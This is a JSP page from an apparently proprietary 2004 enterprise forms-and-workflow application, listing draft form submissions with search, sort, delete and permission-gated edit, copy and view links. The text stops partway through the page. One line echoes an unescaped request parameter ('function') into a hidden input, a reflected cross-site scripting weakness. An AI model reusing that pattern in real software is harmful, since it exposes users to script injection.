<%
/*
 * @(#)ListFormSubmission.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListFormSubmission.jsp

  This is a ListFormSubmission page.  It shows the active form submission's record in EIP.

    @author             Tony Chen
    @company            DCIVision Ltd
    @creation date      25/02/2004
    @version            $Revision: 1.61.2.24 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.form.core.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listFormSubmissionForm" scope="request" class="com.dcivision.form.web.ListFormSubmissionForm"/>
<script language="Javascript" src="<%= request.getContextPath() %>/js/FormFunction.js" charset="UTF-8" type="text/javascript"></script>

<script language="JavaScript">
<!--
var g_marked_row1 = new Array;

<%if (Utility.isEmpty(request.getParameter("function"))) {%>
function INIT() {
  self.close();
}
<%}%>
function OpSearch(frm, sortValue, sortOrder, submitSortValue, submitSortOrder) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }

  frm.sortAttribute.value = sortValue;
  frm.sortOrder.value = sortOrder;
  frm.curStartRowNo.value = 1;

  frm.submitSortAttribute.value = submitSortValue;
  frm.submitSortOrder.value = submitSortOrder;
  frm.curSubmissionStartRowNo.value = 1;

  frm.navMode.value = NAV_MODE_LIST;

  frm.submit();
  return false;
}

function OpReset(frm) {
  frm.fromDate.value = "";
  frm.dummy_fromDate.value = "";
  frm.toDate.value = "";
  frm.dummy_toDate.value = "";
  frm.basicSearchField.value="";
  frm.basicSearchType.value="";
  frm.basicSearchKeyword.value="";
  frm.curStartRowNo.value = 1;
  frm.curSubmissionStartRowNo.value = 1;

  frm.navMode.value = NAV_MODE_LIST;
  frm.submit();
  return false;
}

 function PagerGotoPageBySubmission(frm,value) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  document.forms[frm].navMode.value = NAV_MODE_LIST;
  document.forms[frm].curSubmissionStartRowNo.value = value;
  document.forms[frm].submit();
  return (false);
} // end of the 'pagerGotoPage()' function

function OpList(frm, sortValue, sortOrder, navMode) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }

  frm.sortAttribute.value = sortValue;
  frm.sortOrder.value = sortOrder;
  frm.curStartRowNo.value = 1;

  frm.navMode.value = NAV_MODE_LIST;
  if (navMode!=null) {
    frm.navMode.value = navMode;
  }

  frm.submit();
  return false;
} // end of the 'OpList()' function

function OpList1(frm, sortValue, sortOrder, navMode) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }

  frm.submitSortAttribute.value = sortValue;
  frm.submitSortOrder.value = sortOrder;
  frm.curSubmissionStartRowNo.value = 1;

  frm.opMode.value = NAV_MODE_LIST;
  frm.navMode.value = NAV_MODE_LIST;
  if (navMode!=null) {
    frm.navMode.value = navMode;
  }

  frm.submit();
  return false;
} // end of the 'OpList()' function

function OpCustListDelete(frm) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  var hasChecked = false;
  var hasTwoListChecked = false;

  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        hasChecked = true;
        break;
      }
    }
  }
  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID1") {
      if (frm.elements[i].checked) {
        hasTwoListChecked = true;
        break;
      }
    }
  }
  if (!hasChecked) {
    alert(MSG_NO_RECORD_SELECTED);
    return(false);
  }
  if (hasTwoListChecked){
    if (!confirm("<bean:message key='form.message.can_not_delete_records_from_different_lists'/>")){
      return(false);
    }else{
      frm.elements.PARADM_CB_ALL_NONE1.checked = false;
      if (frm.elements.basicSelectedID1){
        frm.elements.basicSelectedID1.checked = false;
      }
      for (var i = 0; i < frm.elements.basicSelectedID1.length; i++){
        frm.elements.basicSelectedID1[i].checked = false;
      }

    }
  }

  if (!confirm(MSG_CONFIRM_DELETE_RECORDS)) {
    return(false);
  }

  frm.opMode.value = OP_MODE_LIST_DELETE;
  frm.navMode.value = "";
  frm.delSubmitRecordFlag.value = "false";
  return OpSubmit(frm);
} // end of the 'OpListDelete()' function

function OpCustListDelete1(frm) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  var hasChecked = false;
  var hasTwoListChecked = false;

  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID1") {
      if (frm.elements[i].checked) {
        hasChecked = true;
        break;
      }
    }
  }
  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        hasTwoListChecked = true;
        break;
      }
    }
  }
  if (!hasChecked) {
    alert(MSG_NO_RECORD_SELECTED);
    return(false);
  }
  if (hasTwoListChecked){
    if (!confirm("<bean:message key='form.message.can_not_delete_records_from_different_lists'/>")){
      return(false);
    }else{
      frm.elements.PARADM_CB_ALL_NONE.checked = false;
      if (frm.elements.basicSelectedID){
        frm.elements.basicSelectedID.checked = false;
      }
      for (var i = 0; i < frm.elements.basicSelectedID.length; i++){
        frm.elements.basicSelectedID[i].checked = false;
      }

    }
  }

  if (!confirm(MSG_CONFIRM_DELETE_RECORDS)) {
    return(false);
  }

  frm.opMode.value = OP_MODE_LIST_DELETE;
  frm.navMode.value = "";
  frm.delSubmitRecordFlag.value = "true";
  return OpSubmit(frm);
} // end of the 'OpListDelete()' function
-->
</script>

<%
  FormRecord formRecord = (FormRecord)request.getAttribute("formRecord");

  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String  SAVE_DRAFT_LIST_NAME = "formSaveDraftList";
  String  SUBMISSION_LIST_NAME = "formSubmissionList";
  String    opMode = listFormSubmissionForm.getOpMode();

  String[][]  LABEL_MAP = { {"ID", "ID"},
                {"common.label.view", GlobalConstant.NOT_AVAILABLE},
                            {"form.columnheader.submitted_by", "UPDATER_ID"},
                            {"form.columnheader.submit_date", "UPDATE_DATE"},
                            {"form.columnheader.submission_status", "STATUS"}
                          };

  String[][] SEARCH_MAP = { {"workflow.label.group_name", "GROUP_NAME"},
                            {"workflow.label.description", "DESCRIPTION"}
                          };

  int     COLUMN_OFFSET = 2;

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  FormSubmissionManager formSubmissionManager = new FormSubmissionManager(sessionContainer, conn);
  List searchElmentList = formSubmissionManager.getSubmissionElementListByFormRecordIDWfRecordID(formRecord.getID().toString(),listFormSubmissionForm.getWorkflowRecordID(),"");
  Timestamp tmpTime = Utility.getCurrentTimestamp();
  Timestamp currTime = new Timestamp(tmpTime.getTime() - 24*60*60*1000L);
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

   com.dcivision.workflow.bean.WorkflowRecord currentRelatedWFRecord = (com.dcivision.workflow.bean.WorkflowRecord) request.getAttribute("currentRelatedWFRecord");

   String returnURL = "ListFormSubmission.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
%>
<!-- Menu Layer Begin -->
<div id="NewObjectMenuLayer" style="position:absolute; left:366px; top:225px; width:180px; height:63px; z-index:100; visibility:hidden;"><table width="100%" border="0" cellpadding="0" cellspacing="0"><tr><td><table width="100%" border="1" cellpadding="5" cellspacing="0">
  <%if (!Utility.isEmpty(formRecord.getFormDocID())){%>
  <logic:notEmpty name="formRecord" property='workflowList'>
     <logic:iterate id="workflowRecord" collection="<%=((FormRecord)formRecord).getWorkflowList()%>" scope="request" indexId="listLoopCnt">
     <wfm:permission right='W' workflowRecord="<%=(WorkflowRecord)workflowRecord%>">
       <%if ((Utility.isEmpty(((WorkflowRecord)workflowRecord).getEndDate()) || "null".equals(((WorkflowRecord)workflowRecord).getEndDate())) ||(!Utility.isEmpty(((WorkflowRecord)workflowRecord).getEndDate()) && currTime.before(((WorkflowRecord)workflowRecord).getEndDate()) )){%>
         <tr bgcolor="#EEEEEE" onmouseover="changeRowColor(this, 1)" onmouseout="changeRowColor(this, 2)"><td style="cursor:hand;" onclick="javascript:window.open('GenerateXML.do?navMode=N&formRecordID=<%=formRecord.getID()%>&workflowRecordID=<bean:write name='workflowRecord' property='ID'/>&status=R&step=N','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"><bean:write name='workflowRecord' property='workflowCode'/>[ <bean:write name='workflowRecord' property='workflowVersion'/> ]</td></tr>
       <%}%>
     <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
     <tr bgcolor="#EEEEEE" onmouseover="changeRowColor(this, 1)" onmouseout="changeRowColor(this, 2)"><td><bean:write name='workflowRecord' property='workflowCode'/>[ <bean:write name='workflowRecord' property='workflowVersion'/> ]</td></tr>
     </wfm:permission>
     </logic:iterate>
  </logic:notEmpty>
  <%}else{%>
  <logic:notEmpty name="formRecord" property='workflowList'>
     <logic:iterate id="workflowRecord" collection="<%=((FormRecord)formRecord).getWorkflowList()%>" scope="request" indexId="listLoopCnt">
     <wfm:permission right='W' workflowRecord="<%=(WorkflowRecord)workflowRecord%>">
       <%if ((Utility.isEmpty(((WorkflowRecord)workflowRecord).getEndDate()) || "null".equals(((WorkflowRecord)workflowRecord).getEndDate())) ||(!Utility.isEmpty(((WorkflowRecord)workflowRecord).getEndDate()) && currTime.before(((WorkflowRecord)workflowRecord).getEndDate()) )){%>
         <tr bgcolor="#EEEEEE" onmouseover="changeRowColor(this, 1)" onmouseout="changeRowColor(this, 2)"><a href="MaintFormSubmission.do?navMode=N&formRecordID=<%=formRecord.getID()%>&function=FORMSUBMISSION&functionFrom=listFormSubmissionDetail&workflowRecordID=<bean:write name='workflowRecord' property='ID'/>"><td style="cursor:hand;" ><bean:write name='workflowRecord' property='workflowCode'/>[ <bean:write name='workflowRecord' property='workflowVersion'/> ]</td></a></tr>
       <%}%>
     <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
     <tr bgcolor="#EEEEEE" onmouseover="changeRowColor(this, 1)" onmouseout="changeRowColor(this, 2)"><td><bean:write name='workflowRecord' property='workflowCode'/>[ <bean:write name='workflowRecord' property='workflowVersion'/> ]</td></tr>
     </wfm:permission>
     </logic:iterate>
  </logic:notEmpty>
  <%}%>

</table></td></tr></table></div>
<!-- Menu Layer End   -->

<!-- Form Section Begin -->
<html:form action="form/ListFormSubmissionDetail" method="POST" styleClass="form-style-2">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="curSubmissionStartRowNo"/>
<html:hidden property="submitSortAttribute"/>
<html:hidden property="submitSortOrder"/>
<html:hidden property="formRecordID"/>
<html:hidden property="workflowRecordID"/>
<html:hidden property="delSubmitRecordFlag" value="false"/>
<input type="hidden" name="function" value='<%=request.getParameter("function")%>'/>

<layout:tabContainer id="tab1">
  <layout:tabBar styleClass="tabBar_no_button">
     <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true" visibility="false"/> 
  </layout:tabBar>
  <div id="basicTab" class="tabContent">
  <div id="formContainer-no-border">

<br>
  <table width="100%">
	<tr>
	  <td class="sectionTitle">
		<bean:message key='common.label.filter.panel_wording'/>
	  </td>
	</tr>
	<tr>
	  <td height="1px">
		<div class="sectionLine" style="margin-left:2px;">&nbsp;</div>
	  </td>
	</tr>
</table>


 <table class="table-form-search">
  <tr>
    <td>
      <html:select property="basicSearchField">
      <option value=""><bean:message key='common.options.select_menu.select_one'/></option>
      <%

      for (int i=0; i<searchElmentList.size(); i++) {

        FormElement tmpFormElement = new FormElement();
        tmpFormElement = (FormElement)searchElmentList.get(i);
        String selected = "";
        if(tmpFormElement.getID().toString().equals(listFormSubmissionForm.getBasicSearchField())) {
          selected = "selected";
        }
      %>
      <option value="<%=tmpFormElement.getID()%>" <%=selected%>><%=tmpFormElement.getFieldName()%></option>
      <%}%>
      </html:select>
      </td>
      <td>
      <html:select property='basicSearchType'>
        <html:options listName='criteriaList'/>
      </html:select>
      </td>
      <td>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
      </td>
	  <td width="10%">
	  </td>
	  <td align="right" width="40%">
	   <html:standardButton supportEnterKey="true" label="common.label.search" onClick="return(OpSearch(listFormSubmissionForm, '${listFormSubmissionForm.sortAttribute}', '${listFormSubmissionForm.sortOrder}','${listFormSubmissionForm.submitSortAttribute}', '${listFormSubmissionForm.submitSortOrder}'))"/>
	   <html:standardButton label="common.label.reset" onClick="return OpReset(listFormSubmissionForm)"/>
	  </td>
  </tr>
  <tr>
    <td class="sectionTitle" style="font-size:12px;" nowrap >
    <bean:message key='form.search.submit_date'/>:
    </td>
    <td width="125px">
    <html:datepicker property="fromDate"/>
    </td>
    <td>
    <html:datepicker property="toDate"/>
    </td>
  </tr>
</table>

<br>
<table width="100%">
<tr>
  <td class="sectionTitle">
    <bean:message key='form.label.draft_list'/>:
  </td>
</tr>
<tr>
  <td height="1px">
    <div class="sectionLine" style="margin-left:2px;">&nbsp;</div>
  </td>
</tr>
</table>

<!-- list head -->
<layout:listBar>
    <div class="button">
    <%if ((Utility.isEmpty(formRecord.getEndDate()) || "null".equals(formRecord.getEndDate())) ||(!Utility.isEmpty(formRecord.getEndDate()) && currTime.before(formRecord.getEndDate()) )){%>
     <%if (!Utility.isEmpty(formRecord.getFormDocID())){%>
        <span class="but-colheader">
            <div class="but_left"><html:img imageName="MenuButtonNew" src="LayoutSpacer.gif" width="0"/></div>
            <span style="width:50px" class="text"><bean:message key="common.label.new"/></span>
        </span>
        <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
        <logic:empty name="formRecord" property='workflowList'>
            <% String actionString = "javascript:window.open('GenerateXML.do?navMode=N&formRecordID="+formRecord.getID()+"&formDocID="+formRecord.getFormDocID()+"&status=R&step=N','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"; %>
            <html:colheaderButton label="common.label.new" onClick='<%=actionString%>'/>
        </logic:empty>
        <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
        <html:colheaderButton label="common.label.new" disable="true"/>
    <%}else{%>
      <logic:permission right='I'>
        <logic:notEmpty name="formRecord" property='workflowList'>
        <%if (!Utility.isEmpty(currentRelatedWFRecord)) {%>
        <wfm:permission right='W' workflowRecord="<%=currentRelatedWFRecord%>">
        <html:colheaderButton label="common.label.new" link='MaintFormSubmission.do?navMode=N&formRecordID=${formRecord.ID}&function=FORMSUBMISSION&functionFrom=listFormSubmissionDetail&workflowRecordID=${listFormSubmissionForm.workflowRecordID}'/>
        <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
        <html:colheaderButton label="common.label.new" disable="true"/>
        </wfm:permission>
        <%} else {%>
        <html:colheaderButton label="common.label.new" disable="true"/>
        <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
        <%}%>
        </logic:notEmpty>
        <logic:empty name="formRecord" property='workflowList'>
          <html:colheaderButton label="common.label.new" link='<%="MaintFormSubmission.do?navMode=N&formRecordID="+formRecord.getID()+"&function=FORMSUBMISSION&functionFrom=listFormSubmissionDetail"%>'/>
        </logic:empty>
        <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
        <html:colheaderButton label="common.label.new" disable="true"/>
      </logic:permission>
    <%}%>
  <%}else{%>
    <html:colheaderButton label="common.label.new" disable="true"/>
  <%}%>

   <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" label="common.label.delete" right="D" onClick="return(OpCustListDelete(listFormSubmissionForm))"/>
   </div>
   </layout:listBar>
<!-- Table Showing Record List Begin -->
<div id="draftList" class="listTable">
<table width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listFormSubmissionForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listFormSubmissionForm.getSortAttribute()%>" sortOrder="<%=listFormSubmissionForm.getSortOrder()%>" copyColumn='true'/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="formSubmission" name="<%=SAVE_DRAFT_LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <%
  List wfRelationRowList = (List)((FormSubmission)formSubmission).getWorkflowRelationshipList();
  com.dcivision.workflow.bean.WorkflowRecord wfRecord = null;
  if (!Utility.isEmpty(wfRelationRowList)) {
    wfRecord = (com.dcivision.workflow.bean.WorkflowRecord)((Object[])wfRelationRowList.get(0))[0];
  }
  %>
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)formSubmission).getID()%>);">
    <td align="center" width="20">
      <logic:permission right='D'>
         <input type="checkbox" name="basicSelectedID" value="<bean:write name='formSubmission' property='ID'/>" onclick="return(false);">
         <input type="hidden" name="basicSelectedID" value="-1"><html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    </td>
    <td align="center" width="20">
 <%if (((Utility.isEmpty(((FormRecord)formRecord).getEndDate()) || "null".equals(((FormRecord)formRecord).getEndDate())) ||(!Utility.isEmpty(((FormRecord)formRecord).getEndDate()) && currTime.before(((FormRecord)formRecord).getEndDate()) ))
        && (Utility.isEmpty(((FormSubmission)formSubmission).getWorkflowEndDate()) || "null".equals(((FormSubmission)formSubmission).getWorkflowEndDate()) ||(!Utility.isEmpty(((FormSubmission)formSubmission).getWorkflowEndDate()) && currTime.before(((FormSubmission)formSubmission).getWorkflowEndDate()) )
       )){%>
    <%if (!Utility.isEmpty(formRecord.getFormDocID())){%>
      <logic:permission right='E'>
      <% if (!Utility.isEmpty(wfRecord)) {%>
      <wfm:permission right='W' workflowRecord="<%=wfRecord%>">
      <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'>
        <a href="#" onclick="javascript:window.open('GenerateXML.do?navMode=E&trackID=<%=((FormSubmission)formSubmission).getTrackID()%>&formRecordID=<%=((FormSubmission)formSubmission).getFormRecordID()%>&formDocID=<%=formRecord.getFormDocID()%>&formSubmissionID=<%=((FormSubmission)formSubmission).getID()%>&status=R&step=N&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')">
        <html:img src='IconEdit.gif'  align='absmiddle'/></a>
      </logic:equal>
      <logic:notEqual name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'><html:img src='IconEditDisable.gif'  align='absmiddle'/></logic:notEqual>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </wfm:permission>
      <%} else {%>
      <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'>
        <a href="#" onclick="javascript:window.open('GenerateXML.do?navMode=E&trackID=<%=((FormSubmission)formSubmission).getTrackID()%>&formRecordID=<%=((FormSubmission)formSubmission).getFormRecordID()%>&formDocID=<%=formRecord.getFormDocID()%>&formSubmissionID=<%=((FormSubmission)formSubmission).getID()%>&status=R&step=N&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')">
        <html:img src='IconEdit.gif'  align='absmiddle'/></a>
      </logic:equal>
      <logic:notEqual name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'><html:img src='IconEditDisable.gif'  align='absmiddle'/></logic:notEqual>
      <%}%>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
        <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:permission>
    <%}else{%>
      <logic:permission right='E'>
      <%if (!Utility.isEmpty(wfRecord)) {%>
      <wfm:permission right='W' workflowRecord="<%=wfRecord%>">
      <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'><a href="MaintFormSubmission.do?navMode=E&trackID=<bean:write name='formSubmission' property='trackID'/>&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMSUBMISSION&functionFrom=listFormSubmissionDetail&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>"><html:img src='IconEdit.gif'  align='absmiddle'/></a></logic:equal><logic:notEqual name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'><html:img src='IconEditDisable.gif'  align='absmiddle'/></logic:notEqual>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </wfm:permission>
      <%} else {
        if (Utility.isEmpty(formRecord.getWorkflowList())) {%>
         <a href="MaintFormSubmission.do?navMode=E&trackID=<bean:write name='formSubmission' property='trackID'/>&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMSUBMISSION&functionFrom=listFormSubmissionDetail&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>"><html:img src='IconEdit.gif'  align='absmiddle'/></a>
         <% } else { %>
         <html:img src='IconEditDisable.gif'  align='absmiddle'/>
         <%} %> 
      <%}%>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:permission>
    <%}%>
 <%}else{%>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
 <%}%>
    </td>
    <td align="center" width="20">
    <%if (!Utility.isEmpty(formRecord.getFormDocID())){%>
      <logic:permission right='E'>
      <%if (!Utility.isEmpty(wfRecord)) {%>
      <wfm:permission right='W' workflowRecord="<%=wfRecord%>">
      <a href="#" onclick="javascript:window.open('GenerateXML.do?navMode=C&trackID=<%=((FormSubmission)formSubmission).getTrackID()%>&formRecordID=<%=((FormSubmission)formSubmission).getFormRecordID()%>&formDocID=<%=formRecord.getFormDocID()%>&formSubmissionID=<%=((FormSubmission)formSubmission).getID()%>&status=R&step=N&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"><html:img src='IconCopy.gif'  align='absmiddle'/></a>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
      </wfm:permission>
      <%} else {%>
      <a href="#" onclick="javascript:window.open('GenerateXML.do?navMode=C&trackID=<%=((FormSubmission)formSubmission).getTrackID()%>&formRecordID=<%=((FormSubmission)formSubmission).getFormRecordID()%>&formDocID=<%=formRecord.getFormDocID()%>&formSubmissionID=<%=((FormSubmission)formSubmission).getID()%>&status=R&step=N&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"><html:img src='IconCopy.gif'  align='absmiddle'/></a>
      <%}%>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
      </logic:permission>
    <%}else{%>
      <logic:permission right='E'>
      <%if (!Utility.isEmpty(wfRecord)) {%>
      <wfm:permission right='W' workflowRecord="<%=wfRecord%>">
      <a href="MaintFormSubmission.do?navMode=C&trackID=<bean:write name='formSubmission' property='trackID'/>&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMSUBMISSION&functionFrom=listFormSubmissionDetail&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>"><html:img src='IconCopy.gif'  align='absmiddle'/></a>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
      </wfm:permission>
      <%} else {
      if (Utility.isEmpty(formRecord.getWorkflowList())) {%>
           <a href="MaintFormSubmission.do?navMode=C&trackID=<bean:write name='formSubmission' property='trackID'/>&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMSUBMISSION&functionFrom=listFormSubmissionDetail&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>"><html:img src='IconCopy.gif'  align='absmiddle'/></a>
         <% } else { %>
         <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
         <%} %> 
      <%}%>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
      </logic:permission>
    <%}%>
    <td align="center" width="30">
    <%if (!Utility.isEmpty(formRecord.getFormDocID())){%>
        <a href="#" onclick="javascript:window.open('GenerateXML.do?navMode=V&trackID=<bean:write name='formSubmission' property='trackID'/>&formRecordID=<%=((FormSubmission)formSubmission).getFormRecordID()%>&type=listFormSubmissionDetail&formDocID=<%=formRecord.getFormDocID()%>&formSubmissionID=<%=((FormSubmission)formSubmission).getID()%>&status=R&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"><html:img src='IconView.gif'  align='absmiddle'/></a>
    <%}else{%>
        <a href="MaintFormSubmission.do?navMode=V&trackID=<bean:write name='formSubmission' property='trackID'/>&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMSUBMISSION&functionFrom=listFormSubmissionDetail&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>"><html:img src='IconView.gif'  align='absmiddle'/></a>
        <%}%>
    </td>
    <td width="300"><bean:write name='formSubmission' property='updaterName'/>
    <%
      List wfRelationRow = (List)((FormSubmission)formSubmission).getWorkflowRelationshipList();
      for (int x = 0; x < wfRelationRow.size(); x++) {
        com.dcivision.workflow.bean.WorkflowRecord wfRec = (com.dcivision.workflow.bean.WorkflowRecord)((Object[])wfRelationRow.get(x))[0];
        Integer trackID = (Integer)((Object[])wfRelationRow.get(x))[1];
        String wfMsg = TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.related_to_workflow", wfRec.getWorkflowCode() + " - " + wfRec.getDescription() + " (" + wfRec.getWorkflowVersion() + ")"));
        %><a href="#" onmouseover="return getPopupInfo('<%=wfMsg%>')" onmouseout="return nd()" onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/workflow/PreviewWorkflowRecord.do?ID=<%=wfRec.getID()%>&trackID=<%=trackID%>', 'DCIVisionWFRelation', 750, 500, 'scrollbars=yes')"><html:img src='IconWorkflowRelated.gif' /></a>
        <%
      }
      %>
     </td>
    <td><bean:write name='formSubmission' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td>
    <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'>
    <bean:message key='form.label.submission_status_S'/>
    </logic:equal>
    <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SUBMIT%>'>
    <bean:message key='form.label.submission_status_M'/>
    </logic:equal>
    <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_PENDING%>'>
    <bean:message key='form.label.submission_status_P'/>
    </logic:equal>
    <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_COMPLETED%>'>
    <bean:message key='form.label.submission_status_C'/>
    </logic:equal>
    <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_APPROVED%>'>
    <bean:message key='form.label.submission_status_A'/>
    </logic:equal>
    <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_REJECTED%>'>
    <bean:message key='form.label.submission_status_R'/>
    </logic:equal>
    </td>
  </tr>
    </logic:iterate>
    </table>
    </div>

  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
